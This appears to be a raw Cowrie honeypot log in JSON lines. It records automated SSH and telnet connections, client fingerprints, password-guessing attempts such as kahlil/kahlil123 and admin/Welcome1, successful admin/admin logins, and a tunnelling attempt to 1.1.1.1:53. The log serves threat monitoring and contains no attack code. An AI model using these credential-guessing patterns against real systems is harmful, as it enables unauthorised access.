{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:55.174985Z","src_ip":"194.59.206.2","session":"2ead5942b7a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:55.335760Z","src_ip":"194.59.206.2","session":"2ead5942b7a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":43901,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0f57b207d3f","protocol":"ssh","message":"New connection: 213.209.159.159:43901 (10.17.0.5:22) [session: f0f57b207d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:25.306974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:25.311265Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:25.392889Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil","message":"login attempt [kahlil/kahlil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:25.794641Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil1","message":"login attempt [kahlil/kahlil1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:26.879678Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil123","message":"login attempt [kahlil/kahlil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:27.964642Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil1234","message":"login attempt [kahlil/kahlil1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:29.048376Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kahlil","password":"kahlil12345","message":"login attempt [kahlil/kahlil12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:30.132414Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:19:31.216939Z","src_ip":"213.209.159.159","session":"f0f57b207d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10462,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc67595af285","protocol":"ssh","message":"New connection: 87.251.64.176:10462 (10.17.0.5:22) [session: dc67595af285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:14.924466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:14.928910Z","src_ip":"87.251.64.176","session":"dc67595af285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:15.062347Z","src_ip":"87.251.64.176","session":"dc67595af285","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:15.607980Z","src_ip":"87.251.64.176","session":"dc67595af285","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:15.737766Z","session":"dc67595af285","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:15.877370Z","src_ip":"87.251.64.176","session":"dc67595af285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:20:16.039412Z","src_ip":"87.251.64.176","session":"dc67595af285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":47672,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f1769d84d5","protocol":"ssh","message":"New connection: 160.119.76.63:47672 (10.17.0.5:22) [session: 76f1769d84d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:22:19.047525Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":44541,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2407fda660","protocol":"telnet","message":"New connection: 49.88.156.34:44541 (10.17.0.5:23) [session: 2b2407fda660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:22:22.067621Z"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:22:24.048817Z","src_ip":"160.119.76.63","session":"76f1769d84d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.490261793136597,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:22:36.557775Z","src_ip":"49.88.156.34","session":"2b2407fda660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":40805,"dst_ip":"10.17.0.5","dst_port":22,"session":"704121503d62","protocol":"ssh","message":"New connection: 193.46.255.86:40805 (10.17.0.5:22) [session: 704121503d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:23:01.391203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:23:01.395671Z","src_ip":"193.46.255.86","session":"704121503d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:23:01.540693Z","src_ip":"193.46.255.86","session":"704121503d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Welcome1","message":"login attempt [admin/Welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:23:02.175055Z","src_ip":"193.46.255.86","session":"704121503d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:23:03.319423Z","src_ip":"193.46.255.86","session":"704121503d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.16.13","src_port":37624,"dst_ip":"159.203.135.109","dst_port":22,"session":"d66dd7e92c31","protocol":"ssh","message":"New connection: 172.245.16.13:37624 (159.203.135.109:22) [session: d66dd7e92c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.082667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.087160Z","src_ip":"172.245.16.13","session":"d66dd7e92c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.120527Z","src_ip":"172.245.16.13","session":"d66dd7e92c31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.183684Z","src_ip":"172.245.16.13","session":"d66dd7e92c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.223691Z","src_ip":"172.245.16.13","session":"d66dd7e92c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":6702,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2698d15692e","protocol":"ssh","message":"New connection: 130.12.180.51:6702 (159.203.135.109:22) [session: a2698d15692e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.383368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.387683Z","src_ip":"130.12.180.51","session":"a2698d15692e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.471109Z","src_ip":"130.12.180.51","session":"a2698d15692e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:27.717151Z","src_ip":"130.12.180.51","session":"a2698d15692e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:24:28.244554Z","src_ip":"130.12.180.51","session":"a2698d15692e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43906,"dst_ip":"159.203.135.109","dst_port":22,"session":"3765131777d6","protocol":"ssh","message":"New connection: 194.59.206.2:43906 (159.203.135.109:22) [session: 3765131777d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:25:09.301075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:25:09.496713Z","src_ip":"194.59.206.2","session":"3765131777d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:25:09.502914Z","src_ip":"194.59.206.2","session":"3765131777d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:25:10.097066Z","src_ip":"194.59.206.2","session":"3765131777d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":51278,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b4b8034657","protocol":"ssh","message":"New connection: 104.208.108.166:51278 (10.17.0.5:22) [session: 05b4b8034657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:29:41.112550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:29:41.117178Z","src_ip":"104.208.108.166","session":"05b4b8034657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa